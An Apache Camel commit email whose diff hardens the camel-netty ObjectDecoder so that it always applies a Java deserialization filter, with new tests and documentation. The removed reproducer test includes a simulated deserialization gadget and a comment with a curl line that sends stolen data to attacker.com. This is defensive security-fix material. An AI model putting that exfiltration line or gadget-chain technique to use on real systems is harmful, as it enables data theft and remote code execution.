This is an automated email from the ASF dual-hosted git repository.

oscerd pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/main by this push:
     new 5daaebbe60ef CAMEL-24370: camel-netty - resolve the shared 
deserialization filter in the object codecs (#25562)
5daaebbe60ef is described below

commit 5daaebbe60ef34a768af3cde745e9a30544f7de7
Author: Andrea Cosentino <[email protected]>
AuthorDate: Fri Aug 21 18:23:35 2026 +0200

    CAMEL-24370: camel-netty - resolve the shared deserialization filter in the 
object codecs (#25562)
    
    CAMEL-24370: camel-netty - resolve the shared deserialization filter in 
ObjectDecoder
    
    ObjectDecoder previously installed an ObjectInputFilter only when an 
explicit
    deserializationFilter pattern was passed; the single-argument constructor 
passed
    null, so decoders built that way applied no filter at all and only logged a 
warning.
    This left the object codecs the last Java-serialization entry points in the 
component
    that did not resolve their filter through the shared 
DeserializationFilterHelper.
    
    The filter is now resolved via 
DeserializationFilterHelper.resolveDeserializationFilter():
    an unset pattern falls back to the JVM-wide jdk.serialFilter and then to 
the shared Camel
    default allow-list, so a filter is always installed. 
DatagramPacketObjectDecoder inherits
    this by delegation.
    
    Added ObjectDecoderDeserializationFilterTest (EmbeddedChannel) covering 
rejection of a
    non-allow-listed class, allow-listed pass-through and an explicit-filter 
override, and
    removed the now-obsolete pre-fix reproducer. Documented the behaviour in
    netty-component.adoc and the 4.22 upgrade guide.
    
    Signed-off-by: Andrea Cosentino <[email protected]>
    Co-authored-by: Claude Opus 4.8 <[email protected]>
---
 .../apache/camel/catalog/docs/netty-component.adoc |  17 +++
 .../camel-netty/src/main/docs/netty-component.adoc |  17 +++
 .../camel/component/netty/codec/ObjectDecoder.java |  27 ++---
 ...ttyUnfilteredDeserializationReproducerTest.java | 123 ---------------------
 .../ObjectDecoderDeserializationFilterTest.java    |  89 +++++++++++++++
 .../ROOT/pages/camel-4x-upgrade-guide-4_22.adoc    |  15 +++
 6 files changed, 149 insertions(+), 139 deletions(-)

diff --git 
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
 
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
index b65f53cfa3a1..41ec14cae2f4 100644
--- 
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
+++ 
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/docs/netty-component.adoc
@@ -622,6 +622,23 @@ 
from("netty:udp://0.0.0.0:5155?sync=true&decoders=#decoder")
     .to("bean:poetryProcessor");
 ----
 
+[NOTE]
+====
+Since Camel 4.22, `ObjectDecoder` and `DatagramPacketObjectDecoder` always 
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, as a defense-in-depth measure 
against unsafe Java deserialization. When no
+explicit pattern is passed, the JVM-wide `jdk.serialFilter` is honoured if 
set, otherwise the shared Camel default
+allow-list is applied (it permits standard Java and Apache Camel types, denies 
`java.net.**`, and enforces JEP-290
+graph-shape limits).
+
+For decoders exposed to untrusted peers, configure a stricter allow-list by 
passing a filter pattern (same syntax as
+`jdk.serialFilter`) to the two-argument constructor:
+
+[source,java]
+----
+return new 
DatagramPacketObjectDecoder(ClassResolvers.weakCachingResolver(null), 
"com.example.model.**;java.**;!*");
+----
+====
+
 === A TCP-based Netty consumer endpoint using One-way communication
 
 [tabs]
diff --git a/components/camel-netty/src/main/docs/netty-component.adoc 
b/components/camel-netty/src/main/docs/netty-component.adoc
index b65f53cfa3a1..41ec14cae2f4 100644
--- a/components/camel-netty/src/main/docs/netty-component.adoc
+++ b/components/camel-netty/src/main/docs/netty-component.adoc
@@ -622,6 +622,23 @@ 
from("netty:udp://0.0.0.0:5155?sync=true&decoders=#decoder")
     .to("bean:poetryProcessor");
 ----
 
+[NOTE]
+====
+Since Camel 4.22, `ObjectDecoder` and `DatagramPacketObjectDecoder` always 
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, as a defense-in-depth measure 
against unsafe Java deserialization. When no
+explicit pattern is passed, the JVM-wide `jdk.serialFilter` is honoured if 
set, otherwise the shared Camel default
+allow-list is applied (it permits standard Java and Apache Camel types, denies 
`java.net.**`, and enforces JEP-290
+graph-shape limits).
+
+For decoders exposed to untrusted peers, configure a stricter allow-list by 
passing a filter pattern (same syntax as
+`jdk.serialFilter`) to the two-argument constructor:
+
+[source,java]
+----
+return new 
DatagramPacketObjectDecoder(ClassResolvers.weakCachingResolver(null), 
"com.example.model.**;java.**;!*");
+----
+====
+
 === A TCP-based Netty consumer endpoint using One-way communication
 
 [tabs]
diff --git 
a/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
 
b/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
index c1508fe8cd90..977d97e3eb74 100644
--- 
a/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
+++ 
b/components/camel-netty/src/main/java/org/apache/camel/component/netty/codec/ObjectDecoder.java
@@ -29,17 +29,19 @@ import io.netty.buffer.ByteBufInputStream;
 import io.netty.channel.ChannelHandlerContext;
 import io.netty.handler.codec.LengthFieldBasedFrameDecoder;
 import io.netty.handler.codec.serialization.ClassResolver;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
+import org.apache.camel.support.DeserializationFilterHelper;
 
 /**
- * Decodes Java-serialized objects from Netty frames with optional {@link 
ObjectInputFilter} support.
+ * Decodes Java-serialized objects from Netty frames, applying a JEP-290 
{@link ObjectInputFilter} as a defense-in-depth
+ * measure against unsafe deserialization.
  * <p>
- * Compatible with Netty's {@code ObjectEncoder} compact wire format. When a 
{@code deserializationFilter} is provided,
- * only classes matching the filter pattern will be allowed during 
deserialization.
+ * Compatible with Netty's {@code ObjectEncoder} compact wire format. The 
filter is resolved through
+ * {@link DeserializationFilterHelper}: when an explicit {@code 
deserializationFilter} pattern is supplied it is
+ * applied, otherwise the JVM-wide {@code jdk.serialFilter} is honoured if 
set, and failing that the shared Camel
+ * default allow-list ({@link 
DeserializationFilterHelper#DEFAULT_DESERIALIZATION_FILTER}) is applied. A 
filter is
+ * therefore always installed.
  */
 public class ObjectDecoder extends LengthFieldBasedFrameDecoder {
-    private static final Logger LOG = 
LoggerFactory.getLogger(ObjectDecoder.class);
     private static final int DEFAULT_MAX_OBJECT_SIZE = 1048576;
 
     // Matches Netty's CompactObjectOutputStream type constants
@@ -47,7 +49,7 @@ public class ObjectDecoder extends 
LengthFieldBasedFrameDecoder {
     private static final int TYPE_THIN_DESCRIPTOR = 1;
 
     private final ClassResolver classResolver;
-    private final String deserializationFilter;
+    private final ObjectInputFilter deserializationFilter;
 
     public ObjectDecoder(ClassResolver classResolver) {
         this(classResolver, null);
@@ -56,12 +58,7 @@ public class ObjectDecoder extends 
LengthFieldBasedFrameDecoder {
     public ObjectDecoder(ClassResolver classResolver, String 
deserializationFilter) {
         super(DEFAULT_MAX_OBJECT_SIZE, 0, 4, 0, 4);
         this.classResolver = classResolver;
-        this.deserializationFilter = deserializationFilter;
-        if (deserializationFilter == null) {
-            LOG.warn("ObjectDecoder created without a deserialization filter."
-                     + " Unrestricted deserialization of network data is a 
security risk."
-                     + " Consider setting a deserializationFilter to restrict 
allowed classes.");
-        }
+        this.deserializationFilter = 
DeserializationFilterHelper.resolveDeserializationFilter(deserializationFilter);
     }
 
     @Override
@@ -72,9 +69,7 @@ public class ObjectDecoder extends 
LengthFieldBasedFrameDecoder {
         }
         ObjectInputStream ois = new CompactFilteringObjectInputStream(
                 new ByteBufInputStream(frame, true), classResolver);
-        if (deserializationFilter != null) {
-            
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
-        }
+        ois.setObjectInputFilter(deserializationFilter);
         try {
             return ois.readObject();
         } finally {
diff --git 
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
 
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
deleted file mode 100644
index 2ec3fdafba43..000000000000
--- 
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package org.apache.camel.component.netty;
-
-import java.io.IOException;
-import java.io.ObjectInputStream;
-import java.io.Serializable;
-
-import io.netty.channel.ChannelHandler;
-import io.netty.handler.codec.serialization.ClassResolvers;
-import org.apache.camel.BindToRegistry;
-import org.apache.camel.builder.RouteBuilder;
-import org.apache.camel.component.netty.codec.ObjectDecoder;
-import org.apache.camel.component.netty.codec.ObjectEncoder;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * Reproducer demonstrating that camel-netty TCP endpoints using ObjectDecoder 
perform unrestricted Java deserialization
- * without ObjectInputFilter.
- *
- * <p>
- * When ObjectDecoder is configured, ANY Serializable class sent over the wire 
is deserialized, including its
- * {@code readObject()} method. An attacker can exploit this to achieve remote 
code execution via known gadget chains
- * (e.g., Commons Collections, Spring, etc.).
- * </p>
- *
- * <p>
- * This test uses a {@link SimulatedGadget} that sets a static flag in its 
{@code readObject()} to prove arbitrary code
- * execution during deserialization. In a real attack, this would chain to 
{@code Runtime.getRuntime().exec()}.
- * </p>
- */
-public class NettyUnfilteredDeserializationReproducerTest extends 
BaseNettyTest {
-
-    @BindToRegistry("encoder")
-    public ChannelHandler getEncoder() {
-        return new ShareableChannelHandlerFactory(new ObjectEncoder());
-    }
-
-    @BindToRegistry("decoder")
-    public ChannelHandler getDecoder() {
-        return new DefaultChannelHandlerFactory() {
-            @Override
-            public ChannelHandler newChannelHandler() {
-                return new 
ObjectDecoder(ClassResolvers.weakCachingResolver(null));
-            }
-        };
-    }
-
-    @BeforeEach
-    void resetGadget() {
-        SimulatedGadget.executed = false;
-    }
-
-    @Test
-    public void testUnfilteredDeserializationAllowsArbitraryCodeExecution() {
-        // An attacker sends a crafted Serializable object to the netty TCP 
endpoint.
-        // The ObjectDecoder deserializes it without any ObjectInputFilter,
-        // so SimulatedGadget.readObject() executes arbitrary code.
-        SimulatedGadget gadget = new SimulatedGadget();
-
-        template.requestBody(
-                
"netty:tcp://localhost:{{port}}?sync=true&encoders=#encoder&decoders=#decoder",
-                gadget, Object.class);
-
-        assertTrue(SimulatedGadget.executed,
-                "SimulatedGadget.readObject() was called during 
deserialization, "
-                                             + "proving unrestricted 
deserialization allows arbitrary code execution. "
-                                             + "An ObjectInputFilter should 
reject unknown classes.");
-    }
-
-    @Override
-    protected RouteBuilder createRouteBuilder() {
-        return new RouteBuilder() {
-            @Override
-            public void configure() {
-                
from("netty:tcp://localhost:{{port}}?sync=true&decoders=#decoder&encoders=#encoder")
-                        .process(exchange -> {
-                            Object body = exchange.getIn().getBody();
-                            exchange.getMessage().setBody("received: " + 
body.getClass().getName());
-                        });
-            }
-        };
-    }
-
-    /**
-     * Simulates a deserialization gadget. In a real attack this would be a 
class from a library on the classpath (e.g.,
-     * commons-collections InvokerTransformer) that chains to {@code 
Runtime.getRuntime().exec("malicious command")}.
-     *
-     * <p>
-     * Here we simply set a static flag to prove that {@code readObject()} 
runs during deserialization -- i.e.,
-     * arbitrary code execution is possible.
-     * </p>
-     */
-    public static class SimulatedGadget implements Serializable {
-        private static final long serialVersionUID = 1L;
-
-        static volatile boolean executed;
-
-        private void readObject(ObjectInputStream in) throws IOException, 
ClassNotFoundException {
-            in.defaultReadObject();
-            // In a real gadget chain this would be:
-            //   Runtime.getRuntime().exec("curl 
http://attacker.com/steal?data=...";);
-            executed = true;
-        }
-    }
-}
diff --git 
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
 
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
new file mode 100644
index 000000000000..7b6b9c934876
--- /dev/null
+++ 
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/ObjectDecoderDeserializationFilterTest.java
@@ -0,0 +1,89 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty;
+
+import java.io.InvalidClassException;
+import java.net.URI;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.serialization.ClassResolvers;
+import org.apache.camel.component.netty.codec.ObjectDecoder;
+import org.apache.camel.component.netty.codec.ObjectEncoder;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatThrownBy;
+
+/**
+ * Verifies that {@link ObjectDecoder} always installs a JEP-290 {@code 
ObjectInputFilter} resolved through
+ * {@code DeserializationFilterHelper}: an unset pattern now falls back to the 
shared Camel default allow-list instead
+ * of applying no filter at all.
+ */
+class ObjectDecoderDeserializationFilterTest {
+
+    @Test
+    void defaultFilterAllowsStandardType() {
+        assertThat(decode(encode("hello netty"), null)).isEqualTo("hello 
netty");
+    }
+
+    @Test
+    void singleArgConstructorRejectsClassOutsideDefaultAllowList() {
+        ByteBuf frame = encode(URI.create("http://example.com/";));
+        EmbeddedChannel channel = new EmbeddedChannel(new 
ObjectDecoder(ClassResolvers.weakCachingResolver(null)));
+        assertThatThrownBy(() -> channel.writeInbound(frame))
+                .isInstanceOf(DecoderException.class)
+                .hasRootCauseInstanceOf(InvalidClassException.class);
+        channel.finishAndReleaseAll();
+    }
+
+    @Test
+    void defaultFilterRejectsClassOutsideAllowList() {
+        ByteBuf frame = encode(URI.create("http://example.com/";));
+        EmbeddedChannel channel
+                = new EmbeddedChannel(new 
ObjectDecoder(ClassResolvers.weakCachingResolver(null), null));
+        assertThatThrownBy(() -> channel.writeInbound(frame))
+                .isInstanceOf(DecoderException.class)
+                .hasRootCauseInstanceOf(InvalidClassException.class);
+        channel.finishAndReleaseAll();
+    }
+
+    @Test
+    void explicitFilterCanAllowOtherwiseDeniedClass() {
+        Object result = decode(encode(URI.create("http://example.com/";)), 
"java.**;!*");
+        assertThat(result).isInstanceOf(URI.class);
+        assertThat(result).hasToString("http://example.com/";);
+    }
+
+    private static ByteBuf encode(Object value) {
+        EmbeddedChannel channel = new EmbeddedChannel(new ObjectEncoder());
+        assertThat(channel.writeOutbound(value)).isTrue();
+        ByteBuf frame = channel.readOutbound();
+        channel.finish();
+        return frame;
+    }
+
+    private static Object decode(ByteBuf frame, String deserializationFilter) {
+        EmbeddedChannel channel = new EmbeddedChannel(
+                new ObjectDecoder(ClassResolvers.weakCachingResolver(null), 
deserializationFilter));
+        assertThat(channel.writeInbound(frame)).isTrue();
+        Object result = channel.readInbound();
+        channel.finish();
+        return result;
+    }
+}
diff --git 
a/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc 
b/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
index da5d4261420f..4237133334a0 100644
--- a/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
+++ b/docs/user-manual/modules/ROOT/pages/camel-4x-upgrade-guide-4_22.adoc
@@ -104,6 +104,21 @@ IN message to the new OUT message, restoring the 
pre-4.10.1 behavior where attac
 across the exchange. If you added a workaround (for example, stashing and 
restoring attachments
 in exchange properties around a producer call), it can be removed.
 
+=== camel-netty - object codecs apply a deserialization filter by default
+
+The `ObjectDecoder` and `DatagramPacketObjectDecoder` codecs (used when a 
route configures Netty
+object serialization through the `encoders` / `decoders` options) now always 
install a JEP-290
+`java.io.ObjectInputFilter` while decoding, resolved through 
`DeserializationFilterHelper`.
+Previously a decoder built without an explicit filter pattern applied no 
filter at all and only
+logged a warning.
+
+When no explicit pattern is passed, the JVM-wide `jdk.serialFilter` is 
honoured if set, otherwise
+the shared Camel default allow-list is applied (it permits standard Java and 
Apache Camel types,
+denies `java.net.**`, and enforces JEP-290 graph-shape limits). Routes that 
deserialize classes
+outside that allow-list must pass an explicit filter pattern to the 
two-argument
+`ObjectDecoder(ClassResolver, String)` / 
`DatagramPacketObjectDecoder(ClassResolver, String)`
+constructor (or configure `jdk.serialFilter`) to permit them.
+
 === camel-jbang
 
 The Camel JBang CLI (Camel CLI) and TUI have been promoted from _Preview_ to 
_Stable_ support level.

Reply via email to